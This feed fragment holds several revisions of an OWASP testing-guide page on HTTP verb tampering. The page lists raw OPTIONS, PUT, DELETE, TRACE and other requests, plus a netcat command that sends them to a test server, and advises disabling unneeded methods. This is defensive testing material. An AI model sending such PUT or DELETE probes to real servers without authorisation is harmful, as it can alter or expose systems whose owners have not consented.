&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.&lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
1. Crafting custom HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets &amp;lt;code&amp;gt;[ ]&amp;lt;/code&amp;gt; are contextual to your application. The empty newline at the end is required.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[METHOD] /[index.htm] HTTP/1.1&lt;br /&gt;
host: [www.example.com]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.1 OPTIONS&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.2 GET&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.3 HEAD&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.4 POST&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.5 PUT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.6 DELETE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DELETE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.7 TRACE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TRACE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.8 CONNECT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONNECT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
2. Sending HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):&lt;br /&gt;
&amp;lt;pre&amp;gt;nc www.example.com 80 &amp;lt; OPTIONS.http.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
3. Parsing HTTP responses&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
An example of a failed test (ie, the server supports OPTIONS despite no need for it):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:OPTIONS_verb_tampering.png]]&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157055</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157055"/>
				<updated>2013-08-20T15:55:29Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.&lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
1. Crafting custom HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets &amp;lt;code&amp;gt;[ ]&amp;lt;/code&amp;gt; are contextual to your application. The empty newline at the end is required.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[METHOD] /[index.htm] HTTP/1.1&lt;br /&gt;
host: [www.example.com]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.1 OPTIONS&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.2 GET&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.3 HEAD&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.4 POST&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.5 PUT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.6 DELETE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DELETE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.7 TRACE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TRACE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.8 CONNECT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONNECT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
2. Sending HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):&lt;br /&gt;
&amp;lt;pre&amp;gt;nc www.example.com 80 &amp;lt; OPTIONS.http.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
3. Parsing HTTP responses&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.&lt;br /&gt;
&lt;br /&gt;
An example of a failed test (ie, the server supports OPTIONS despite no need for it):&lt;br /&gt;
&lt;br /&gt;
[[File:OPTIONS_verb_tampering.png]]&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:OPTIONS_verb_tampering.png&amp;diff=157054</id>
		<title>File:OPTIONS verb tampering.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:OPTIONS_verb_tampering.png&amp;diff=157054"/>
				<updated>2013-08-20T15:53:26Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: An example of the example.com web server responding to an OPTIONS HTTP request.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;An example of the example.com web server responding to an OPTIONS HTTP request.&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157053</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157053"/>
				<updated>2013-08-20T15:52:46Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: Manual testing complete&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.&lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
1. Crafting custom HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets &amp;lt;code&amp;gt;[ ]&amp;lt;/code&amp;gt; are contextual to your application. The empty newline at the end is required.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[METHOD] /[index.htm] HTTP/1.1&lt;br /&gt;
host: [www.example.com]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.1 OPTIONS&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.2 GET&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.3 HEAD&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.4 POST&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.5 PUT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.6 DELETE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DELETE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.7 TRACE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TRACE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.8 CONNECT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONNECT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
2. Sending HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):&lt;br /&gt;
&amp;lt;pre&amp;gt;nc www.example.com 80 &amp;lt; OPTIONS.http.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
3. Parsing HTTP responses&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.&lt;br /&gt;
&lt;br /&gt;
An example of a failed test (ie, the server supports OPTIONS despite no need for it):&lt;br /&gt;
[[File:OPTIONS_verb_tampering.png]]&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157051</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157051"/>
				<updated>2013-08-20T15:11:45Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.&lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
#Crafting custom HTTP requests&lt;br /&gt;
##OPTIONS&lt;br /&gt;
##GET&lt;br /&gt;
##HEAD&lt;br /&gt;
##POST&lt;br /&gt;
##PUT&lt;br /&gt;
##DELETE&lt;br /&gt;
##TRACE&lt;br /&gt;
##CONNECT&lt;br /&gt;
#Sending HTTP requests&lt;br /&gt;
#Parsing HTTP responses&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157046</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
